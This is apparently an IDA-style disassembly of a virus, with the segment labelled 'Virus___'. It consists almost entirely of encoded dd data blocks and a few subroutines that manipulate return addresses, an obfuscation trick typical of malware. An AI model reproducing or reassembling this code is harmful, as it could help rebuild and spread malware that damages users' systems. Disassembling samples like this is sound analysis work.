		dd 6A05C0h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 500778C3h, 14E8h,	0DBBF2900h, 585FBA6Fh
		dd 7A6F1B2Dh, 0AA6E4A78h, 0F3387A2Fh, 2BF66BCh,	4895FB0h
		dd 6A5E5724h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 7800D638h, 47E6EEB0h, 6AF7B70Fh
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 17DC1EE7h, 8E0FA817h, 14h, 0FE9h, 922FB200h
		dd 7240B8EFh, 0C9753296h, 5F1B3DDAh, 85195FFh, 0BD8B095Dh
		dd 95D33C1h, 914C9D8Dh,	0BE660960h, 0D3FF8607h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 54C35646h, 0FFFEBF0Fh
		dd 5D216985h, 0DE909h, 0BED90000h, 37314258h, 0F710E506h
		dd 0E9410055h, 86Eh, 0E8h, 0ED815D00h, 960FDF1h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 83C35040h, 2953B5FDh
		dd 5D2C158Dh, 0E5BD8109h, 0D0095D03h, 0F000007h, 18B86h
		dd 0A9B58B00h, 8B095D08h, 5D29A99Dh, 13E96009h,	0FB000000h
		dd 4FB10B69h, 145C9FEFh, 0A2D446CFh, 0B9CBD3F0h, 5E98B3Ah
		dd 0F000000h, 9DC425ACh, 81F88B61h, 100E3h, 0CE800h, 0D1FD0000h
		dd 0BB3473DEh, 6F932CF6h, 8D8909A2h, 95D1111h, 0FDB0B5Eh
		dd 9685h, 1800F00h, 0FC000000h,	0FBE2BD83h, 0F000960h
		dd 3084h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 89699954h, 6F91572Eh, 0AFE94090h
		dd 89000000h, 5D31958Dh, 0E285C709h, 10960FBh, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 0F60DC357h, 0AB7C5FBEh, 5E9h, 5A78EA00h
		dd 0BD2B2BD7h, 95D1295h, 69E9h,	9B52900h, 0F095D19h, 688h
		dd 0C1BD0900h, 0C7095D11h, 60FBE285h, 9, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
		dd 58F6DFDAh, 11D3560Ah, 6860F60h, 89000000h, 5D19DD95h
		dd 10E809h, 0B05C0000h,	106CA522h, 0F99904D4h, 0D647B7A1h
		dd 0B58B20E5h, 95D1165h, 9D8D6159h, 95D29A9h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0AAC35040h, 0E18F5453h
		dd 68A0Fh, 0E7810000h, 4128C2AAh, 0FEFF2381h, 2960FFFFh
		dd 5D20C995h, 59B52B09h, 61095D08h, 0E9DB8C66h,	0Dh, 81E06F61h
		dd 0B22E2AA4h, 0EB8B9C2Bh, 4C3F6A2h, 61840Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 419A22C3h, 2E388FB5h, 0BE51E150h, 757B76F7h,	2A9D95FFh
		dd 8166095Dh, 50A870C7h, 20E3BE66h, 6A240489h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 0D3C2C355h, 2A0018DDh, 0E927ED12h, 43Dh, 0B0F18Bh, 0FF9B50Bh
		dd 70E6095Dh, 0E4FE8B66h, 52006A71h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 536650DDh
		dd 0B82D8FD0h, 0DE8h, 6B673700h, 0E4FD8098h, 8FD7C39h
		dd 958922BAh, 95D0801h,	0D8B60F5Eh, 585BD33h, 6BA095Dh
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 7B74C350h, 8B3FACA9h, 51006AC3h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0BE6631D9h, 0E8C1A708h, 3860F04h, 66000000h,	0B58BF38Bh
		dd 95D0271h, 6AE2F766h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 464BC350h, 3B25EDD8h
		dd 0D82B2070h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	0EBC35343h, 0B5239583h,	95D12E5h, 7CE78166h, 800F9379h
		dd 3, 50FA8B66h, 2858BF66h, 69BD8B93h, 8B095D33h, 0E5B5FFFEh
		dd 6A095D03h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0C700C350h, 5E93577h, 68000000h
		dd 5E54543Ah, 2309BD8Bh, 95FF095Dh, 95D11B1h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 55C35343h, 70B1B2ECh
		dd 0CDADD806h, 3850F1Ch, 0F000000h, 0B0F7BFh, 30E98589h
		dd 70E6095Dh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Ch,	0C3C35242h, 0CF70F089h,	5B9550E2h, 24F9B58Bh, 8B66095Dh
		dd 8B71E4F2h, 5D3181B5h, 0F613C09h, 27483h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 666E8EF5h, 0DED94891h, 0BBBF66CBh, 29850965h, 0F095D25h
		dd 6AD8B6h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 59132CC3h, 56597255h, 6BAh, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 0AE8E5BCh, 0EA000000h, 9E9E3B5Bh, 13D4BD8Bh,	0E7815F21h
		dd 672745EBh, 6AC38Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0F86698C3h, 6A04E8C1h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 5217C356h, 0B4108C40h, 9844FC11h,	4E5B501h
		dd 0F766095Dh, 50006AE2h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 663A0AE4h, 2BFA23BEh
		dd 58F78BD8h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 18h,	4AC35343h, 1CBD03D2h, 0C398D29h, 0D82B095Dh, 143880Fh
		dd 0B9FC0000h, 7, 65EF8166h, 0C18333h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0F8C35545h,	7F29A7Dh, 0B0EF8142h
		dd 3B7F601Bh, 6860FD9h,	6A000001h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 5E27C351h
		dd 0E64A60BBh, 0F75DBF66h, 6AD98C66h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 0F96AC350h
		dd 0EDBD299Ch, 31095D1Eh, 5D073D95h, 4C1F609h, 0A3840Fh
		dd 0FFF80000h, 5D2A9D95h, 11E909h, 0E0450000h, 8BBDC007h
		dd 4053568Ah, 9B64C947h, 811A2F4Ah, 6B8313D6h, 0BD8B5B7Eh
		dd 95D0381h, 1855B589h,	0C32B095Dh, 8343Dh, 66860F00h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 6C6CC351h, 8773FFA9h, 48F5786Bh
		dd 7E8h, 6F953C00h, 0C45185D4h,	1800Fh,	5EF50000h, 30E9h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 2285473Ch, 8BF317A8h, 5D073DB5h,	8BC08B09h
		dd 5D30D9BDh, 8BC38B09h, 0F18B66D8h, 248585C7h,	1B1B095Dh
		dd 6A7925h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0F749CBC3h, 0FAE67C4h, 68Eh, 0C9BD8B00h
		dd 8B095D16h, 0E5BD81C0h, 0D0095D03h, 0F000007h, 4C85h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 87EE53A4h, 33AF283Ch, 5D16A9B5h,	0E585FF09h
		dd 6A095D03h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 8B8EC351h, 0E5B5FF4Dh,	66095D03h
		dd 538BEE81h, 11B195FFh, 0B589095Dh, 95D1745h, 55006A90h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0F94A75DDh, 12E8BCh,	0B89E0000h, 18ED9D09h, 0B3A269F0h
		dd 833567B1h, 829AADFFh, 6E9h, 2EE38C00h, 5E1E5C49h, 2E96BF66h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0E1C35545h
		dd 6AA8CDh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 84417BC3h, 6E9h, 0ABF06A00h, 6A882F68h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 89CEC350h, 5D04098Dh, 0F1BF0F09h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0DEC35040h,	6DBD0B51h, 81095D24h
		dd 0FBD69EDEh, 3DB58B5Fh, 0F095D11h, 0F60F6B7h,	983h, 0D78B6600h
		dd 0F85BD01h, 0BD89095Dh, 95D10B1h, 0E7E3EE81h,	60613768h
		dd 2F55BD8Bh, 890F095Dh, 0Ch, 2345B58Bh, 8D89095Dh, 95D2C05h
		dd 0F79EE961h, 0B58BFFFFh, 95D2BF5h, 305DB589h,	0C18B095Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 27C35343h
		dd 0D9D2B841h, 0BD891120h, 95D054Dh, 104EBh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 710C21C3h, 85F53FA1h, 0BD8B08E8h, 95D10A1h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 92C35545h, 0C56DD19h
		dd 0F6CFF3Ch, 38Fh, 0FFBF0F00h,	2239858Dh, 6A095Dh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 41529EC3h, 8B7DB03Dh, 0BF6650F9h, 489B951h, 0FFBF0F24h
		dd 0B503006Ah, 95D0BB1h, 6E8006Ah, 10000000h, 7D4E7B03h
		dd 78BE5280h, 5F659E47h, 0E8858D5Fh, 0F096107h,	0C083F7BFh
		dd 14E905h, 6BEE0000h, 58BF30F1h, 2299CF0Dh, 0FF3692F4h
		dd 0EE603FA6h, 50904696h, 52006A90h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 7137D2D6h
		dd 89EAEA7Ah, 5D302D95h, 0E6816609h, 6AE2C2h, 6AF38Bh
		dd 4CE7CE81h, 95FF435Dh, 95D0851h, 0AE960h, 0ED920000h
		dd 0D25209A7h, 2135F7Bh, 9D8D61F5h, 960914Ch, 8D89FC60h
		dd 95D073Dh, 0BFD3FF61h, 5CBA1B49h, 216985FFh, 6A095Dh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 9D89E5C3h, 95D1EFDh,	7D2E9h,	0E800h,	815D0000h, 6107F2EDh
		dd 56006A09h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 8589356Dh, 95D1D01h, 3E5BD81h, 7D0095Dh
		dd 860F0000h, 154h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 2FC35141h, 0D3808E6Fh, 6CBE851Bh, 0ED9D8983h
		dd 8B095D25h, 5D03C19Dh, 10E909h, 523D0000h, 67E247Eh
		dd 64E3224Eh, 99957EA5h, 0E3815148h, 100h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0B0C35242h, 850FDB0Bh
		dd 7Ah,	22DE8166h, 86BD839Fh, 96106h, 32840Fh, 0F6810000h
		dd 750C596Fh, 8CE9h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0F78166C2h, 0BD899B8Bh
		dd 95D0415h, 68685C7h, 10961h, 0BF660000h, 52E9174Dh, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0E680C351h, 75F47B71h, 85C7ADDBh,	9610686h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5AB45B
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AB45B	proc near		; CODE XREF: Virus___:005AB453p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5AB45B	endp

; ---------------------------------------------------------------------------
		mov	esi, [eax+50h]
		mov	bl, 0FFh
		sbb	eax, 7AC146E2h
		lea	ebx, [ebp+95D03C1h]
		push	0
		push	edx
		call	sub_5AB486
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AB486	proc near		; CODE XREF: Virus___:005AB47Ep

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5AB486	endp

; ---------------------------------------------------------------------------
		dw 0C403h
		dd 4F987063h, 1FC84E4Ch, 0FF2381F8h, 66FFFFFEh,	8509F78Bh
		dd 95D0CB9h, 6ADB8C66h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 8614C356h, 1121BD2Bh
		dd 5757095Dh, 8E8h, 63C9AC00h, 0BB864767h, 5E5E5F08h, 0F04C3F6h
		dd 4784h, 6800F00h, 8B000000h, 5D22B1B5h, 9D95FF09h, 66095D2Ah
		dd 99CEF781h, 66526050h, 0B458F78Bh, 48961A8h, 50006A24h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0BD290F40h, 95D33A5h, 3E2E9h, 0F8B70F00h, 895200B0h
		dd 5D17A985h, 13E95E09h, 91000000h, 0A4461F30h,	91F92971h
		dd 0F2FBE9F9h, 0B30BA3BEh, 70E6CAC8h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 94C35646h, 0FAFFC82h, 71E4F2B7h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 3EC35040h
		dd 0FDE7C230h, 38AADE81h, 8A0F5724h, 6,	1F558D89h, 0B60F095Dh
		dd 57006AD8h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 252F5B3Eh, 5A1EBDE5h, 6BAh, 0F38B6600h
		dd 8ACE8166h, 6AC38BE3h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 2EB3C356h, 80DFD4D9h
		dd 0E8C13C3Ah, 0B090BF04h, 0BD8B5B3Ch, 95D19C1h, 6AE2F766h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 365FC356h, 0BA5731E2h, 0BFBF66F7h, 0FD82B9Bh
		dd 68Ch, 0ACF68100h, 936AC6BCh,	6B6D53BFh, 50565066h, 5E5F6160h
		dd 57006A93h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 2D076329h, 0BE963C0h, 0E7000000h, 95E409C1h
		dd 2337C447h, 0BD8B901Ch, 95D2A29h, 3E5B5FFh, 6A095Dh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 69D55FC3h, 0B195FF5Dh, 0F095D11h, 1B87h, 15800F00h
		dd 0E9000000h, 10h, 290C794Dh, 104E240Eh, 0FF1AC1E6h, 0A70CCFBAh
		dd 70E600B0h, 2819B52Bh, 71E4095Dh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 9BC35242h, 4616BC14h, 8E0Fh
		dd 613C0000h, 1FD830Fh,	8E90000h, 0CD000000h, 90026E52h
		dd 0FDC47DDh, 0B509D8B6h, 95D0CDDh, 6BAh, 4820F00h, 66000000h
		dd 8BA2DDBEh, 8AEFBEC3h, 0E8C123AAh, 0F0BF6604h, 0E2F7663Ch
		dd 0C8B0Fh, 7E90000h, 71000000h, 0AC28D3BFh, 0B523D0ACh
		dd 95D185Dh, 6AD82Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 0D0624CC3h, 74392C44h, 0E9C47750h
		dd 7, 0A22034BAh, 58917644h, 9DF68166h,	0FD82BD0h, 16E88h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0A665D7C4h, 7B9CF65h, 8B000000h,	0C183F1h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 5C35242h
		dd 14336D91h, 680EA5B4h, 12E9F8h, 0D7830000h, 23877BDAh
		dd 45C9766Ch, 82A4192Bh, 3C46676Ch, 0BE9h, 465B2700h, 0FEF7B3E8h
		dd 26678CC5h, 860FD93Bh, 0EFh, 8C665F51h, 52006AD9h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
		dd 0ECDDBF1Bh, 2EAF277Ah, 8D89AC9Dh, 95D0559h, 10DBD681h
		dd 0C1F61185h, 0AE840F04h, 0F000000h, 95FFFEB7h, 95D2A9Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 95C35040h
		dd 22DCDBFEh, 54A250D9h, 5840F1Ch, 0BF000000h, 1966CFC5h
		dd 8E7DABBFh, 95315B1Ah, 95D0B19h, 5F5BD8Bh, 0C32B095Dh
		dd 68F0Fh, 9D290000h, 95D3299h,	8343Dh,	4A860F00h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0BD70C353h, 8B0BB07Bh, 5D1651BDh,	21E909h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0EF4D69C3h, 8BC08B6Dh, 89D88BC3h,	5D18359Dh
		dd 0A985C709h, 0B7095D29h, 17B52B1h, 5D305595h,	89C08B09h
		dd 5D0FE98Dh, 0E5BD8109h, 0D0095D03h, 0F000007h, 2B85h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 1D30FF70h, 49F8ED7Dh, 0E585FFB6h, 0F5095D03h
		dd 3E5B5FFh, 6A095Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0FAFA0C3h, 68Bh,	89958900h, 0FF095D16h
		dd 5D11B195h, 7E89009h,	9000000h, 35D49FB7h, 816614D2h
		dd 0E9E202CFh, 9, 949A277Fh, 96CB4AEFh,	0BF665F19h, 6ADC94h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0E85763C3h, 10h, 400D5BC4h, 8CB9A531h, 2EFFEEBBh, 633A612Dh
		dd 0EB5459BEh, 295F5E14h, 5D1D2D9Dh, 52006A09h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 6E9230Bh, 0C7000000h
		dd 46913C1Eh, 0B9B58936h, 0E8095D21h, 13h, 60D992E9h, 0D699EBB8h
		dd 0E36FFA77h, 0F4C9B7E3h, 8B69EA73h, 5D2F25B5h, 1B53109h
		dd 5F095D04h, 3119BD01h, 7E9095Dh, 0B4000000h, 73D81CABh
		dd 0BF0FFC8Eh, 51006AF2h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 604C3994h, 0DF816660h
		dd 8B61E94Eh, 5D123D8Dh, 0F7816609h, 0F861715Bh, 0E9FBB70Fh
		dd 0FFFFF865h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	0A0C35141h, 82826A2Bh, 0E0DD6BAAh, 3985896Fh, 1095D29h
		dd 5D2BF5B5h, 699D8909h, 60095D10h, 20D5B589h, 0FEB9095Dh
		dd 0FFFFFFFh, 68Fh, 0ED958B00h,	21095D1Ch, 5D337D8Dh, 0C59D3109h
		dd 0F095D0Bh, 784h, 81665200h, 5AAAC1D8h, 153D8D21h, 6A095Dh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 25CCEAC3h, 0F747CEA4h, 0CDBDBA66h, 14C19589h, 8D8B095Dh
		dd 95D337Dh, 2B89E081h,	0E1837FDCh, 0B850F01h, 0E9000000h
		dd 6, 0EE85CB2Fh, 8D8BB561h, 95D153Dh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 0A9C35545h,	0E183B0D7h, 29850F01h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 4EDCC352h, 7CA5B258h, 92055E29h
		dd 4202BA66h, 6A6061h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 0F54A19C3h, 0D91B47A2h, 595893Fh
		dd 0B9095D0Fh, 0FFFFFFFEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 8DC35343h, 8D21E14Ah,	95D14A5h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0F3C35545h, 423FB884h
		dd 44C88166h, 2D958983h, 0E8095D12h, 14h, 0F2A8D791h, 1EBCDC7Dh
		dd 0FD023D8Bh, 0B569BD7Eh, 89605027h, 0F77CB866h, 0C18D2158h
		dd 6A095D03h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 41AAC352h, 0FD82C725h,	80D473FEh
		dd 0DA8109CEh, 7FCDF359h
		dd 14A58D8Bh, 6A095Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0E9D7F8C3h, 8, 3429E2BEh, 1CB1A629h
		dd 28B0Fh, 11B40000h, 0F01E183h, 2B85h,	55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 8FC1F563h, 1A2E0294h, 9D31CA96h, 95D130Dh, 3C18D8Bh
		dd 6A095Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 0F39A24C3h, 5702DF86h, 319D0353h,	5B095D0Ch
		dd 0F01E183h, 1385h, 0D870F00h,	51000000h, 6E9h, 6E764B00h
		dd 5A52051Eh, 6A6061h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0E715F7C3h, 61A8BC46h, 8D0FB5B0h
		dd 5, 756FB1BBh, 0FFFEB932h, 0CCB7FFFFh, 95D8D21h, 6A095Dh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 645C8FC3h, 89939FCCh, 5D1F8D8Dh, 798D2109h, 29095D09h
		dd 5D22C19Dh, 5D8D8B09h, 83095D09h, 850F01E1h, 29h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0B8C35646h, 74762138h
		dd 8938B877h, 5D1F0DBDh, 798D8B09h, 66095D09h, 0B768EF81h
		dd 0F01E183h, 2585h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0BD8965C5h, 95D1689h
		dd 6061F98Bh, 23BDBD8Bh, 0FEB9095Dh, 0E9FFFFFFh, 6, 0E95150BEh
		dd 9D89E8C3h, 95D13A5h,	24858D21h, 6A095Dh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 28DA12C3h
		dd 0A4D681ADh, 210A55DEh, 5D29A98Dh, 14E909h, 5B70000h
		dd 99EECE1h, 9409110Bh,	326BF194h, 0E7D04F8h, 8D8B7230h
		dd 95D2485h, 5CBF66F5h,	1E183DCh, 23850Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 41430FC3h, 8B7BC23Ch, 0A98D8BD1h, 6A095D29h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 7251C352h, 0E0D3B71Dh, 45D3EC5h, 83D38B66h, 850F01E1h
		dd 28h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah
		dd 12C35040h, 0A6FBFD41h, 0BD897D23h, 95D1861h,	6A6061h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 6A9178C3h, 0B66C6360h, 85C7FC70h, 95D03E5h, 7D0h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 5CC35747h, 28D1BF7Fh
		dd 8D89B0EAh, 95D0BFDh,	56006A61h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0FD1C3EA2h, 60520168h
		dd 77ACF081h, 0BD2B7759h, 95D334Dh, 6107EB61h, 0E99Dh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 8503F0C3h, 95D05DDh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 8CC35646h, 6A60C18Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0F016C356h, 0B97052A7h, 7720EB1Ah, 1DBD3351h, 5E095D1Ah
		dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 8CC32DC3h, 4471D985h, 13E8977Fh, 22000000h
		dd 339B9BC3h, 3B9E4E8Ah, 88DD8373h, 0F5C43DADh,	8D0148FCh
		dd 95D02F1h, 9BD835Eh, 95D18h, 0BD830975h, 95D0329h, 50197400h
		dd 0B8C08B53h, 438h, 10AD8589h,	9D8D095Dh, 95FAA61h, 585BD3FFh
		dd 329BD83h, 7400095Dh,	0B8535017h, 438h, 10AD8589h, 9D8D095Dh
		dd 95FA750h, 585BD3FFh,	8DA0BE66h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0D0C35040h,	0C08BF9B5h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 34C35646h, 0E5B0B5C8h
		dd 3DA21B1Ah, 0CDDBD89h, 0BD29095Dh, 95D12F5h, 7C3E8h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 1A49445Bh, 0F1BF5FF7h, 8BF0BF0Fh, 5D1D09B5h
		dd 49858909h, 6A095D18h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 42C5C350h, 0B8F0C11Ch
		dd 0F08B669Bh, 767E8h, 0CF8B6600h, 17418589h, 0D681095Dh
		dd 1F5EA67Eh, 753E8h, 0FAB70F00h, 18718589h, 6A095Dh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 667587C3h, 0F911CF81h, 723E8h, 8589FC00h, 95D230Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 20C35343h
		dd 3AA1322Ah, 5F34E7A3h, 22C1BD0Bh, 0CB8A095Dh,	0E9E8F88Bh
		dd 6A000006h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 88DCC355h, 0B589C9D2h,	95D263Dh
		dd 332D8589h, 6A095Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 493CB6C3h, 5C6C9102h, 0B58BE653h
		dd 95D12ADh, 68FE8h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 13EF131Ah, 0BB694B92h
		dd 2A158D8Bh, 8589095Dh, 95D338Dh, 65BE8h, 95858900h, 6A095D19h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 3EAFC355h, 66604C87h, 8BF284BBh, 5D265D8Dh
		dd 25E86109h, 66000006h, 8589CB8Bh, 95D2449h, 617E8h, 81666000h
		dd 0F88A9F3h, 68Fh, 820F00h, 61000000h,	28398589h, 0FE9095Dh
		dd 0CB000000h, 8412CB16h, 941A6F9h, 4AD2DB64h, 0E5E8CBF0h
		dd 6A000005h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 89D1C353h, 5D103985h, 51006A09h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0C68A9BA4h, 618D89E8h, 0E8095D1Fh, 598h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 4C35242h, 0F642E7D1h
		dd 56B100E5h, 89F18B66h, 5D20CD85h, 52006A09h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 2F135AACh
		dd 899B96CDh, 5D20D99Dh, 29BD8909h, 0E8095D05h,	538h, 0B818D8Bh
		dd 8589095Dh, 95D038Dh,	1F198589h, 21E8095Dh, 6A000005h
